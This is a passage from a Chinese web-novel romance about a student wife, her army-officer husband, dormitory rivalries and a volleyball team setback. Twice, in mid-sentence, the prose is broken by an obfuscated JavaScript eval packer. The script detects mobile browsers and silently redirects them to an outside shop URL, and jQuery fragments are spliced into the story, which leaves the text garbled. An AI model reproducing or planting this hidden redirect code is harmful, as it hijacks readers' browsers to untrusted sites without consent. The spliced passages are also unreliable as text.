“我刚拿衣服的时候怎么没发现?”聂宇抬头看他。 “就隔了两件衣服,再向下探探就能找到了。”更关键的是,她大概想不到他会带这个来。 “所以说东西还是要由你来收拾,不然今晚我且等着了。”享受到了好处,聂宇愿意说两句好话拍拍他的马屁。 果然孟京阳眉峰轻挑了下,是笑纳了的意思。又抬了下下巴,示意她上床休息。 回到这个问题上,聂宇又有些犯难,因为那个床实在是不算大,睡一起不知要多挤。但条件就是这么个条件,她也只能尽量缩小自己的存在感了。 孟京阳又去将洗好的衣服挂起来,然后才回房间休息。一进门见聂宇面朝着墙躺着,都快要贴上去的架势,不由觉得好笑。 “你扮演壁虎呢还是怎么着?” 孟京阳没上床,走到床边双手抱胸打量着她。见聂宇装睡不理他,他在床边坐下,抬手拍了一下聂宇的屁股。 聂宇倏地就转过身来,一张脸羞愤交加。 “不然怎么睡?” 她瞪着他,就见孟京阳起身,从床下扳上来一块足三十公分的折叠延长板,整张床的空间瞬间外扩不少,虽然仍不富裕,但勉强够挤下他们两个人了——只要不是非要并排睡的情况下。 聂宇看着他就像变魔术似的,等回过神来,才意识到自己被他耍了。他肯定是故意的,就等她嫌挤,然后再不紧不慢地把床板拉出来。 聂宇翻过身去,不搭理人了。孟京阳抬手关掉台灯,躺上床,由后面揽住了她。聂宇很是克制着自己,没有转过身去。 “你是不是就想看我出糗,或者拿我当小孩儿逗?” 聂宇老大不高兴地低声质问道,也不管这是不是在矫情了。反正夫妻间嘛,一多半的情趣不都来自没事找事么。 身后的人没有吭声,听呼吸也逐渐趋于平稳,仿佛是睡着了。聂宇这下是真有点儿无语,愤而一转身,发现自己又中计了,某人正含着笑在等她上套呢,哪里有半点不清醒的样子。 聂宇忍不住想咬人了,孟京阳就势把她抱住怀里,说:“这回你是真冤枉我了。本来我是想着不拉那块板儿也能睡得下,无非挤一些,贴得近一些,谁成想你那么体贴。” 黑夜里,他一点儿也不克制自己性子里的狡黠和顽劣因子,放开了撩她。聂宇气笑了,实在没办法,只得使出一招“泰山压顶”,将腿挑起,一下子横在了他的身上。而孟京阳立刻顺杆往上爬,把手搭在了她的腿上,不让她乱动,低下头,又亲了亲她的额头。 情趣果然就来了,聂宇趴在孟京阳的怀里,是一点儿气也没了。 - “孟宪还练过舞蹈呢,你知道吗?” 安分下来,聂宇跟孟京阳谈起孟宪,反正也睡不着。 “知道。”他说,“之前还在燕城文工团待了一年多的时间,后来去了东北边防。那里条件很苦。” “怎么会去那么远的地方!”聂宇有些意外。 “说来话长,而且我也知道的不很清楚。”孟京阳的手在聂宇的腿上摩挲着,心思不完全在谈话上。 聂宇消化了片刻这个事实,又说:“难怪呢,很多嫂子讲起自己遭遇的时候,她看着都挺波澜不惊的。原来她当过兵,去过那么艰苦的地方,把那些心酸都亲身经历了一遍……” 所以也没什么能太让她感到意外了。 听出了她话中的怜惜之意,孟京阳轻捋了两下她的长发,连带着也想起今天跟周幼棠聊天时提及的那件事。如果真成,他是必须要去北边待两年了,毫无疑问。 一时间,心情有些沉重。 “澄澄,如果我将来也不得不去外地待几年,你会如何?可以接受吗?” 孟京阳迟疑着,不知不觉将这句话问了出来。他并不认为聂宇离了他不行,所以现在考虑更多的,是感情上的。 聂宇愣了下,从床上半爬起来,居高临下地看着他。而孟京阳也毫无遮掩地任她看,一张脸平静至极。这让聂宇觉得他不是临时起意,更像是“早有预谋”。 “是有命令了,还是?”事情太过突然,聂宇还是想确认一下。 孟京阳在心里叹了口气,心想还是被她看出来了,所以干脆就不问他真与假。 “还不确定,只是有可能走到那一步。”孟京阳将她拉了回来,继续抱着,“现在军队正处于调整的阶段,不到尘埃落定,谁也猜不到自己最终的归宿。” “你也不行?”聂宇试探着问。 “承蒙高看,我也不行。”孟京阳笑笑。 聂宇不说话了。 其实这个问题根本不用想,当初她报高考志愿的时候不就考虑过两地分居的可能吗,孟京阳当时给她的回答是让她凡事先考虑自己,以自己为主。现在轮到他有这个困扰了,聂宇却无论如何也说不出这样的话来。甚至她在想,怕是连孟京阳也做不到那样利落果决了,否则也不会有此一问。 “京阳。” 她甚少这样唤他,一时间孟京阳有些愕然,低头看向她。只是聂宇却仍是埋着头,以至于他连她丁点的神情都窥不到。 “今天听那些嫂子们在台上说,我明白了一个道理,那就是身为军人,会有太多不得已。所以…所以如果你真的要去,那我会全力支持。” 因为她明白,若是能不走,他一定不会选择离开。 “……” 这样一番话,由她这样一张脸,在这样的年纪说出,给孟京阳带来不小的冲击。他试着想用玩笑淡化此刻的凝重,却无论如何都觉得轻佻了,配不上她语气中的郑重。他仗着年长几岁习得的那些伎俩在眼下都没了用处,唯一能给他带来片刻平静的,就是发泄。 孟京阳一翻身,将聂宇压在身下,攫住了她的唇。 聂宇有一刻的怔然,回过神来以后,她攀住他的脖颈,稍稍起身迎合。这一下可不得了,仿若轰一下燃起一片大火,不烧至极致难以平息。 但这还是在团里,还是在他的宿舍,聂宇可不敢那么放肆。她窝在他怀里开始躲闪,但最终还是被逼到退无可退。 这人,又逼她当壁虎!聂宇气得想挠人。 “不要紧。”孟京阳笑,语气中全无动作里的急切,细听才能察觉到些许不稳。 “这边没什么人过来,小些声,别人听不见。” 聂宇还是不答应,孟京阳无法,只得一把将她抱起,去了卫生间。 进去之后,俩人没有开灯,适应了一片黑寂之后,只能看清彼此的眼睛,是那样的灼灼逼人。聂宇不由轻出一声,然后立刻抬手捂住了嘴。 孟京阳俯首,吻了吻她的额头、脸颊和脖颈,动作温柔至极,甚至让聂宇产生了他要慢慢来的错觉。直到忽然失去主动权,聂宇才知道事情没有那么简单,但却为时已晚。 她抱紧孟京阳,颤抖不已。 -62- 由于前一晚胡闹的有些晚,第二天聂宇睡到日上三竿才起。旁边的铺位早空了,只有一个保温饭盒放在桌子上,下面还压了一张纸条。 是孟京阳留下来的,交代他有点事要处理,让她吃完早饭等他回来。 聂宇略缓了缓,然后起床洗漱,外加吃早饭。吃到一半的时候,孟京阳回来了,走到桌前看她还没吃鸡蛋,便洗了手来帮她剥。 聂宇现在可不觉得这是福气了,无事献殷勤,非奸即盗! “哎。”她叹了一口气,说,“我现在算是明白了,这世上没有白享的福,都是一本本账,要还的。” 孟京阳听出了她的话中之意,却只挑了下眉,没有接。他依旧专心剥鸡蛋,动作很麻利。 “怎么不说话?”聂宇咬一口包子,觑着他反问。 “说了你要生气的。”孟京阳将剥好的鸡蛋放进她的碗里,发话道,“吃吧,这次是免费的。” 聂宇要被这人气笑了,再没见过比他脸皮更厚,更会顺杆往上爬的。 “你说吧,我听听看,生不生气我自有判断。” 聂宇把包子一口塞进嘴里,咀嚼几下,咽了下去。这个酱肉包味道还真不错。 “我只是有些疑惑,难道我昨晚没让你满意么,怎么你只记坏不记好?” 孟京阳抬眸,意味深长地看向她。聂宇一怔,抬手捶胸口,做出一副要被气过去的样子。孟京阳笑了,看着她演。 聂宇很快罢手,一时有点感慨和悻悻。她现在很是怀念他一开始还会在她面前端架子的样子,现在真的有点儿过于赤裸了。不过嘛,也算有好有坏吧。 - 吃过早饭,孟京阳带着聂宇去还餐具,顺便在团部大院逛一逛。 当然,能去的地方不多,他先带她去了团史馆,然后去了俱乐部,经过训练场的时候看了几眼战士们拆卸枪,然后又去了最北边的菜地。该团有自己的生产基地,俗称农场,团部大院这块儿是后勤处建议开垦的,平时由团机关食堂的炊事班负责,忙时可以从机关借人一起来耕作。指望这一小片地来供给时蔬是不可能的,只能偶尔给团首长餐桌上添个鲜,再丰富一下官兵们日常生活罢了。 聂宇虽然从小在城市长大,但她对田地可不陌生,因为她的姑姑聂传溪就在乡下和丈夫一起包了个果园,每年靠种各种水果为生呢。每到暑假的时候,她就会和奶奶一起回乡下去,帮姑姑一两个月的忙,也算是减轻一些他们的负担。 正在地里忙活的老炊事兵给聂宇摘了个西红柿,让她尝尝鲜。但聂宇却瞧上了菜地一角的柿子树。她指着树问老兵,上面结的果子能不能吃。 “能吃,不过果子结的很小,甜是甜,但是脆得很。”在老兵的观念里,柿子都爱捡软的吃。 偏聂宇是个例外,听到是脆柿之后更欣喜了,她就喜欢这种。孟京阳闻言也不劳动老兵,自己折过来一条树枝子,从上面摘下来几个柿子给聂宇。她笑着去水管那里洗了洗,然后分给了孟京阳和老兵各一个。 聂宇吃着柿子,忽然想起昨晚孟京阳向她提及的,便问道:“你才来这个团里没多久,怎么又要调走?” 如果是这样,干嘛还调他来呢,这不是折腾人么?而且,也吃不上这脆柿了… “不是我要调走,是这个团有可能要散。”孟京阳揽着她往一旁走了走,低声说道。 聂宇诧异地看看他,没有说话。 “而且不止我们一个团,这就是现在需要面对的现实。” “……为什么呢?”聂宇轻声问。 “原因很多。最通俗易懂的一点是,时代在发展,未来战争不再打人海战术,要精简,要更扁平,要信息化。”一顿,“所以说你选择学计算机还是很有远见,未来就是信息的天下。” “那你们团里那么多老兵,他们舍得离开?” “真到那一天,舍不舍得都得走,军令如山。”孟京阳说,“但我们会努力争取。” 争取什么呢?去到北边待个一两年,是不是也是争取的手段之一?聂宇不大懂,但她不想问了。她回过头,想再摘几个柿子。 孟京阳答应了。 - 当天,他们在团里吃过午饭才离开。 孟京阳开车送她回去,而后又在家留宿了一晚。第二天早上起来,孟京阳回团里,聂宇则回学校。 周一上午没有排课,聂宇回到宿舍的时候其他人都在,包括宁露和李晓晓。她们看见聂宇回来,纷纷跟她打了个招呼。但言行举止间都透着几分局促,仿佛有话想跟她说但又不好开口。 聂宇很快察觉出这种微妙的氛围,问是怎么回事。最先憋不住的是冯瑛,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623388|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下正在看的书,回过头问聂宇:“小宇,昨天静静回来说看到你上了一个男人的车,还是部队的。是不是你家亲戚来接你回去呀?” 聂宇微微蹙了蹙眉。 如果是按照冯瑛所说的,将孟京阳猜测为她的亲戚,那为什么还要问这个问题呢。分明就是不信,觉得其中另有内情,所以才会发问。聂宇不由看了鲁静一眼,这么会儿功夫她的脸已经红了,见她看过来,连忙摆手:“我没说什么,就是问大家你是不是回家了,因为看到一个部队的车来接……” 鲁静心里十分难受。这件事是她起的头没错,但她可没有别的意思啊,她其实是想找聂宇补补数学的课,才有那么一问。结果宿舍里其他人讨论着讨论着,变歪了。然而老实人如她,又不可能在此刻把矛头指向别人,那不是把事情越搞越大了么。 聂宇听懂了,也相信她不是别有居心。鲁静体弱腼腆,平时在宿舍里是存在感最小的一个人,怎么可能会生事。她只是,被人利用了而已。 当然,这也怪不得别人。从她决定不遮不掩那一刻起,孟京阳被发现是迟早的事儿,而她正好也可以借此机会,公开自己已婚的事实。 “是有这么回事。”聂宇笑笑,对着鲁静和冯瑛说,“不过那人不止是我的亲戚,他是我家属,说白点就是我爱人。” 这话可不亚于一个惊天大雷,饶是最好八卦聂宇的宁露也惊呆了。整间宿舍鸦雀无声,几秒后,田舒云嚯地从椅子上站起来,看着她惊问道:“你结婚了?” “对啊。”聂宇说,“也到年纪了嘛,亲戚那边给介绍了一个,相处之后觉得不错,就先定下来了。之所以没跟你们说,是刚开学彼此还不太熟,但现在大家都处成朋友了,我也就不瞒着啦。” 聂宇这话说的很好,众人听了之后脸色都和缓了许多,虽依旧还在消化这个事实,但已经能笑着恭喜聂宇了。 “是个军人哦,还有配车,想必职位不低喽?”宁露一脸艳羡地问,“那他比你大几岁呀,家庭条件是不是也挺好的?” 话中之意,颇有暗示聂宇是别有所图才结的这婚,而且对方年纪肯定不小。宁露这嘴,也是相当厉害,一句话转移了众人关注的焦点。 “看着年龄不大诶。”说话的是鲁静,“长得很帅,和小宇很配。” 她一向话少,此刻插嘴也是想弥补因自己造成的误会。更何况,鲁静觉得自己说的也是事实。 聂宇笑看她一眼,然后用一种“意料不到”的眼神看向宁露,说:“露露,我发现你每次的关注点都跟大家不太一样呢。你问的这些问题,真是一般人想不到的。” 宁露本意就是搅混水,破坏一下聂宇的形象。听她这么直白地回击,她也有些愕然。 “没有,我这人就是想到什么说什么,一向心直口快。”宁露故作不好意思地一笑,又说,“也是不想让大家误会你——” “我们没误会!” 打断她的是冯瑛。大家都是聪明人,此刻谁还瞧不出来宁露那点小心思。细细一回想,最先将这件事引到别处去的不就是宁露么,她可真有意思,随意揣测人。 见宿舍里的几个人,除李晓晓外都似站在聂宇那一边,宁露很识时务地服了软,示弱道:“是我想多啦,没有说你们的意思。” 丢下这一句,她匆匆端起盆,去阳台晾衣服。而宿舍里剩下的人彼此心照不宣地对视一眼后,又开始八卦起聂宇来。 - 好不容易应付完舍友,聂宇趁现在没课,去水房刷上周没来得及刷的运动鞋,以备上体育课用。只是不等她刷完第一只,水房里便来了不速之客,正是污蔑她不成的宁露。此刻她脸上半点不见平时佯装出来的温柔乖巧,一脸楚楚可怜相,企图博取聂宇的同情和原谅。 “小宇,我想你是不是对我有什么误会,我可能确实是不太会说话,但对你绝对没恶意。” 如果可以,宁露当然不想来道这个歉,毕竟她不觉得自己说的那句话有多过分,反而是宿舍里其他人太过敏感而已。只是眼下这个情况,如果她不做点什么,怕是要被其他人打成心机颇深之人了,这又是她不能接受的。对于宁露,从来都是她可以负别人,但别人不能负她。 聂宇听她这样说,见她还要在自己面前装相,不由叹了口气。宿舍里有这么个搅屎棍,也是够累人的。 “露露,我想我对你没什么误会。在我看来,你就是爱耍一些小心机又以为谁都看不出来的那种蠢人。” 将刷子扔进盆里,聂宇转过身,直视宁露道:“你是不是以为我到现在还猜不出来军训时是谁换了我的被子?我想你大概有点儿后知后觉吧,不然以后怎么不用那款香水了?” 听到她的质问,宁露双眸一震,露出些心虚来。她想果然还是被发现了,破绽正是她的那瓶香水,这让她抵赖不得了。 宁露咬了咬唇:“小宇,我不是故意的,我就是很怕被罚。而且我也没想到,会害你当典型被留下……” “我信你,我猜你原本的打算,是想蒙混过关之后赶紧趁我不注意把被子换回来,是吗?可惜你没想到自己叠的那么烂,被教官揪住不放。宁露,但凡你把这点小聪明用到正途上,你也不至于叠不好一个被子。” “那你为什么不揭穿我!”宁露反问。 “因为在我看来,你只是蠢,不至于坏到无药可救。” 事实也证明,军训回来的这一个多月里,宁露虽然时不时耍些小伎俩,但至多停留在口头上。切实危害到她的事,确实是没再做过了。但也有可能是没有这个机会,她也没有这个需要。无论如何,聂宇不打算再忍了。 “宁露,现在你也知道我的情况了,还真让你猜中了,我在燕城不是无人可依,而且那人还多少有些本事。所以你打算如何呢?继续跟我作对?我想你应该不至于蠢到这种地步,对吧?否则我都要怀疑凭你这智商是怎么考上科大的了!” “我当然不,我本来也没……” 宁露为自己解释着,她其实就是纯粹看不上聂宇的装腔作势罢了。从小她就是这样,对各方面比自己强的人,她都怀着一股嫉妒之心。但她又豁不出去真的做个恶人,只能小打小闹耍些小手段恶心恶心人罢了。 宁露脸色刷白,不知道该如何为自己辩解了。从小到大,凭着她那点小聪明,她从未如此难堪过。 “我不管你怎么想,我只想告诉你,这是我容忍你的最后一次。你老实了最好,那么从今以后我们彼此之间相安无事。如果你再生事端,不光科大,整个燕城都不会再有你的容身之地,听懂了吗?” 宁露心情没由来地激愤,她与聂宇对视片刻,却丝毫未见对方退却。宁露这才明白且相信了,对方有绝对的把握,能让她不好过。如此以来,她还犟什么呢? “我知道了。” 眼眸灰了灰,丢下这句话,宁露离开了。而聂宇在她走后,也是长出一口气,整个人有种脱力之感。 狐假虎威这事,真不是谁都能干的。 32.63-63 -63- 当晚,宁露前所未有地安静。接下来两天,她在宿舍里也甚少生事,碰着聂宇的事儿更是缄口不言。 鲁静和冯瑛都以为她是还没从那天的争执中缓过来,私下里有些自责是不是话说的太重。只有田舒云瞧出了一些端倪,某天下课后将聂宇留了下来,试探地问她是不是跟宁露之间发生了什么。 聂宇对此并不意外,也无意隐瞒。 “她太想打听我的私事了,我见她这么感兴趣,干脆就借力打力,威胁她要是再敢乱说我的事,我背后的人不会饶了她。” “就这样?”田舒云有些愕然,“是不是也太简单粗暴了点。” “你这么想么?”聂宇笑着反问,“我反倒觉得对付宁露还就这招管用。她啊,太爱动心思玩心眼了,在这方面我未必是她的对手。所以我索性就单刀直入,撕破脸来,爱谁谁去。效果还是很显著的,你看她现在不是安分多了。” “是啊。” 田舒云点点头,回过神来,就见聂宇一脸“早有预料”的表情笑看着她。 “怎么?”田舒云下意识反问。 “你是不是也觉得宁露有些难缠?” 既然想从自己这里挖出来八卦,她不交出点东西可是不行的,是以聂宇也不跟田舒云客气喽。 “瞒不过你。”田舒云坦然一笑,“不过有你这个靶子在,宁露很少针对我们,所以我就——”一顿,“小宇,你可以骂我袖手旁观,我这个舍长,是当的有些不称职。” 说到这里,田舒云有些歉然。 “我理解。”聂宇立刻说,“说难听点,搅屎棍不是那么容易应付的,而你也已经很站在我这一边了。” 事后鲁静私下里来找她道歉,提了一嘴说在宁露肆意揣测她的隐私的时候,田舒云有制止过她。 “身为一个舍长,你唯一需要做的就是维持宿舍秩序。其余的,我和宁露自己私下解决,尽量不给你增加工作量。” “真体贴。”田舒云笑了,心里对聂宇的好感又加深了一层。她平时自认敞亮,但在聂宇面前,好像还是有点不及。最起码,对旁人的袖手旁观,她就做不到这么快释然。 “其实小宇,第一天见你,我就猜到你的情况不那么简单。”敞开了心扉之后,田舒云也说了些心里话。 “哦?”聂宇有些意外地看向她。 “不是听宁露瞎嘀咕的,而是那天我看到了送你来学校的那辆军车的车牌。” 田舒云的姥姥家是部队的,她偶尔出入部队大院,对这些东西也有所了解。知道挂那个牌照的,地位都不太一般。 “那你过后没有试探过我,肯定是对这些不感兴趣了。”聂宇半是诧异半是玩笑道。 “对啊,比起那些虚的,我更看重眼前真实存在的这个人,那个跟我们朝夕相处的聂宇。至于其他的,反正也影响不到我。”田舒云笑说。 “其实——也没有其他的。”聂宇苦笑下,说,“关于我的事,一时半会儿难以说清。但舒云,开学第一天的自我介绍,我没说一句假话,我只是——” “你只是有所保留!” 田舒云截过她的话头,笑意盈盈地看着她,眼中写满了无所谓。聂宇怔了下,也笑了。在秋日阳光的映照下,是那样年轻和充满活力的两张脸庞。 - 接下来的日子,依旧是日复一日的学习和两点一线。直到快十二月初的时候,才迎来一点新鲜事——为迎接新年,学校要在大一新生中举行院际间的气排球比赛,而且还分男女队。 除了对那些运动细胞格外发达或者精力极其旺盛亟待发泄的人群外,这个消息也算不得什么好消息,尤其是对计算机学院来说。她们这一届女生统共就七个,除去一个心脏不好不能剧烈运动和一个因事请假回了老家的,也就剩下五个了,堪堪凑够组队人数,连个替补都没。林虹岩为此很是庆幸了一番,深思熟虑过后将男队交给一个擅长体育的男生就不管了,专心来跟女队。 用林虹岩的话说,她们每一个人都很宝贵,是一点闪失也不能有的。所以,他会竭尽自己所能,来为女队提供好后勤保障。林虹岩说这话的时候,视线从在场每一个女生的脸上划过,饶是平时大大咧咧惯了的冯瑛也快被他看红了脸,更别提鲁静了。姑娘们下来之后可以说是干劲十足,哪怕不为学院,也要为辅导员争光。 聂宇对此倒是没有太大的感受,她身体底子好,又有运动习惯,只当是丰富一下课余生活了。而林虹岩不知打哪儿听说她练过体育,平时定期会去游泳,就给她按了一个“计算机学院女子气排球队长”的名号,让她负责日常的训练。听起来蛮唬人,其实治下只有四个人。 聂宇推拒不得,只好接受了。下来之后组织训练也算尽心,五个人之间的配合也越发好了。可就在这个大家觉得可以冲击一下奖牌的时候,忽然意外发生了一个小事故,对这个五人队伍造成了沉重的打击——鲁静在训练的时候为了救球不小心摔出界,把胳膊给撞出了轻微骨折,脚也崴到了。用医生的话说,至少得休养一个月,打比赛是别想了。 这个诊断结果对鲁静来说堪称当头一棒,她听完之后就捂脸哭了。而队伍里其他四个人站在她旁边也是陷入了沉默,不知该如何安慰她。她们的心情也很沉重,这不仅是对鲁静个人的损失,更是对她们整个队伍的。没了鲁静,她们连五个人也凑不齐了。 林虹岩闻讯匆匆赶来,他先是问过医生鲁静的伤情,又温柔地安慰过鲁静,然后将聂宇叫出了病房。 “聂宇,你怎么能在我不在的情况下,私自安排队员们进行训练!” 林虹岩这话说的有些不讲理,别的学院无论男女生队伍都是自行组织训练的,辅导员并不能次次都到场。但林虹岩不是这样,他把这次比赛看得很重,或者说把她们五个看得很重,每次训练都会在旁看着,给她们准备好各种需要的东西,只为她们能够好好训练。曾因为此,她们这五个女生被别的学院的辅导员戏称为林虹岩的“掌上明珠”,引得鲁静她们几个下来之后好生开心了一阵子。 聂宇隐约能明白林虹岩的顾虑,所以在编排训练计划的时候也着实费了些神,既不能强度太大又争取让大家练到位。这一次之所以会“瞒”着他练,其实是其他几个人的提议。她们私下去围观了其他学院女生队的训练,觉得自己练得还不够好,申请加练。民心所向,聂宇又怎么好反对呢,没成想就出了这事儿。 “抱歉,林老师。我们也是想——” 聂宇在心里叹了口气,微微抿唇,准备将责任揽在自己身上。只是话未说完,便被林虹岩打断了。 “算了,是我失态了,你们也是出于为我和学院着想的好意才想着加练。”林虹岩又忽而软了口吻,看着聂宇,露出歉意和无奈来,“我不该不分青红皂白对你发火,小聂队长,我向你道歉。只是这事一出,咱们可是折损了一员大将,接下来该怎么走,还得好好筹划下。” 聂宇很少看到林虹岩如此为难的一面,心情还是没能轻松多少。她想了想,主动提议道:“能不能请上一届的学姐来救下场?” “是个办法,不过我得先跟唐老师通个气,让她挨个问问那三个女孩儿,看谁愿意来。” 唐老师,是学院里另一个辅导员,也算是林虹岩现下的带教前辈。 “上届只有三个女生?”聂宇还是头一回听说这事儿,没控制住语气中的惊诧,“那她们当初怎么打的气排球比赛?” “比赛是今年才开始办的,所以——” 所以三位学姐不仅不一定愿意来,而且还毫无经验,整个队伍还得重新进行大半的磨合。 猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642108|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出林虹岩的话中之意,连聂宇都觉得头痛了。她透过透明玻璃看向病房里犹在哭泣的鲁静,只觉得心沉。 “没事,我去联系,事情一定能解决。” 林虹岩说着,拍了下聂宇的肩膀。聂宇只得勉强挤出一个笑,将希望都寄托在他的身上。 - 在医院待了三四天后,鲁静回宿舍里休养,平时一应事宜能包办地都被宿舍里其他几个包办了。至于训练的事,自然不得不停下来,等着林虹岩去协调。 就这样等了差不多一个星期,林虹岩那边终于有信了,他将聂宇叫到了办公室,告诉她第五人找到了,不过不是上一届那三个学姐中的其中一个,而是她们宿舍的宁露。 听到是宁露来代替鲁静,聂宇很是吃了一惊:“林老师,宁露是外语学院的,怎么能代表咱们出战?” “借调,这个学校是允许的。”林虹岩说,“最重要的是,现在实在找不来人,上一届的三个女孩儿唐老师替咱们问过了,都不怎么愿意来。而宁露,是鲁静推荐的。” “鲁静?” 这个聂宇也是不知情,她想了想没再多说,只是在回去之后找到了鲁静,问她事情的经过。 鲁静当即承认了:“是我向林老师推荐的。找人的事我听舒云说了,一直没有下文。而宁露听说了这件事后主动找到我,说可以替我上阵,我就把她推荐给了林老师,让她自己和林老师谈。” “你是说,是宁露主动找你说的?”聂宇蹙了蹙眉,觉得这事儿更可疑了。 “对啊,有什么问题吗?”鲁静眨眨眼看向聂宇,见她一副有所犹豫的样子,便说,“小宇,我知道你跟宁露之间有过不愉快。但现在大事当前,个人的私事可以先放一放吗?” 说到这里,鲁静居然有些不高兴了。 从受伤以来,她心里就对聂宇有怨气,觉得她组织训练很敷衍,大家的进度不如其他学院,所以才逼得她们想出加练的法子,结果却让她受伤了。也就是说,她的伤里聂宇至少得付三分之一的责任。 聂宇当然听出了鲁静的不快,也多少洞悉她的心思。过去几天,她对其他几个帮助她的人都是十分感谢,到了她这里就有些冷,未免没有迁怒她的意思。聂宇有些莫名,但看在她受伤的份儿上,没有与她计较。 但这会儿可不是她们两个之间的事。 “你误会了,我不是分不清事情轻重缓急的人。”聂宇站起来,口吻不冷不热道,“正因为事关学院的荣誉,是大事,所以我才更应该搞清楚不是吗?你休息吧,我去找宁露谈。” 聂宇说罢就走了,鲁静一个人坐在床上,看着自己的伤处,气不打一处来。她现在算是明白宁露为何那么在意聂宇的家庭背景了,果然有人依仗就是底气硬! - 聂宇找到宁露的时候,她正在操场上晒被子,似是知道她为何事而来,不等她开口,宁露就自己说:“小宇,林老师告诉你我替补静静的事儿了吗?” “说了。”聂宇在距离她一米的地方站定,问道,“能问问你的动机吗?” 借调这事儿虽然是学校允许的,但万一计算机学院拿了名次而外语学院没有,宁露多少会受到学院其他同学的埋怨。以聂宇对宁露的了解,她不是会做这种无私奉献的人。 果不其然,宁露听到她的问话后,扯了扯嘴角,也不跟她演什么好舍友好同学了。但她轻轻抿唇,却是没有立刻回答聂宇的话。 “还没编出来?”聂宇笑笑,“那我可走了哈。回头我就跟林老师说你不合适,让他从别的学院再找。反正能借调,那哪个学院不是借?” “别。”宁露叫住了她,轻一咬唇,居然露出几分忸怩来,“我是、我是冲林老师。”一顿,“我喜欢他!” (本章未完,待补,补后会在内容提要处说明。) 33.65-66 -65- 不去便不去,但林虹岩如此正式地拒绝,倒弄得聂宇有些尴尬了,仿佛他们会计较一样。聂宇下意识地想解释两句,被孟京阳倏然抓住手,拦住。 “是我们考虑不周了,那就下次吧。” 孟京阳笑说着,又用目光向其他人示过意,然后带着聂宇离开。 走在场馆外面的路上,两人一时都有些无言,显然是在想刚才的事。 “总觉得有些怪。”聂宇先开口打破沉默,“刚才的事,你觉得是林老师小题大做,还是我呢?” 聂宇对林虹岩的印象一直都还不错,但刚才那一瞬间的反应,让她有些在意。 孟京阳晓得聂宇跟他想到了一块儿去,不过他所感受到的是来自林虹岩的针对,无论是先前在场边的对话,还是刚才的那句“希望理解”。可他毕竟是聂宇的老师,是她的辅导员,对于这样一个存在,他下意识不会先往坏处想。也许,他不过是书生气和太过认真而已? 孟京阳讲出了自己的观点,聂宇听着也觉得有道理。她反握住孟京阳的手,说:“算了,那就我们自己去吃,还省事了。” 孟京阳看出她心情还是不好,笑一笑,主动缓和了氛围。聂宇终于开心了,两个人说笑着走到停车场,正要上车的时候,忽然听到身后有人唤:“小聂。” 聂宇试探着回头,发现叫住她的人是Freya,她的英语老师庄沁蕾。聂宇有些意外,刚微笑着回应了下,就见庄沁蕾将目光转向了她一旁的孟京阳。与此同时,她的脸上浮现出一抹惊喜,继而说道:“你也在这儿?” 聂宇和孟京阳都有些愕然。前者是因为庄沁蕾认识孟京阳,后者自然是因为庄沁蕾认识聂宇。 “你——” 孟京阳看着她,没继续说下去。庄沁蕾领悟到他的意思,接过话头道:“我回国以后在科大外语学院任教,同时也负责教授聂宇他们大一大二年级的《大学英语》课程。”一顿,“小聂还是我的课代表呢。” 这可真奇了。 孟京阳看聂宇一眼,笑了下,说:“太巧了。”又对聂宇说,“庄老师是我的初高中同学;这是我爱人。” 后半句话,自然是对庄沁蕾说的,却不想她听了之后丝毫没有露出惊讶的神色,像是早就知情了似的。这一下,聂宇可没招了。 “你知道了?”孟京阳也有同样的疑问。 “对呀,你结婚又没瞒着大家,我还能不知道?”庄沁蕾笑着说。 孟京阳也笑,心中却是另有想法。他想起之前应烽说起的庄沁蕾向他打听过他,也许就是那会儿知道的。应烽这嘴就是破布口袋,什么都往外漏。 “缘分可太妙不可言了,是不是?”庄沁蕾看着聂宇,眨了下眼说道。 聂宇却是无论如何也笑不出来。她喜欢庄沁蕾这个老师不假,可一旦扯上这样的关系,又无端让人觉得尴尬。这算什么呢,她的丈夫和自己的大学老师是同学?呃…… 聂宇挤出了个有些尴尬的微笑,没说什么,安心当小辈。庄沁蕾目光转向孟京阳,同他寒暄道:“怎么想起来科大了?” “休息了,过来看小宇练会儿球,顺便接她回家。” 孟京阳答的倒是坦然,握着聂宇的手也不曾松开。 “是吗?看来是我打扰你们二人世界啦。”庄沁蕾笑笑,又说,“改天有空聚聚吧,咱们这帮老同学一起吃顿饭。” “没问题。” 孟京阳答允了下来,庄沁蕾向他们二人挥了挥抓着车钥匙的手,潇洒离去。 聂宇犹站在原地,被孟京阳催促了下,才走到副驾开门上了车。 - 出科大校门的这一路,聂宇都没怎么讲话。孟京阳起初留意着车况顾不上她,等车行稳后,他才问聂宇:“在想什么?” “在想以后怎么跟庄老师相处。”聂宇幽幽道,“这个关系太乱了。” “?乱哪儿了?课堂上你跟她就是师生的关系,仅此而已。”孟京阳宽慰她。 “可下了课以后呢?我可是她的课代表,免不了私下有接触。”聂宇丧气,“你知道给我一种什么感觉么?就好像我的班主任认识我家长,跟他们是熟人一样。” 孟京阳被她这个比喻逗得失笑。 “我是不是还要谢谢你给我抬辈分了?”看了她一眼,他说,“即便如此也用不着怕,你是好学生。” 这人还真顺杆爬了!聂宇郁郁瞥他一眼,然后自己慢慢想通了。不然怎么办,这学还能不上了吗? “你跟庄老师看着还挺熟?” 这会儿,聂宇有心力来关心下孟京阳了。 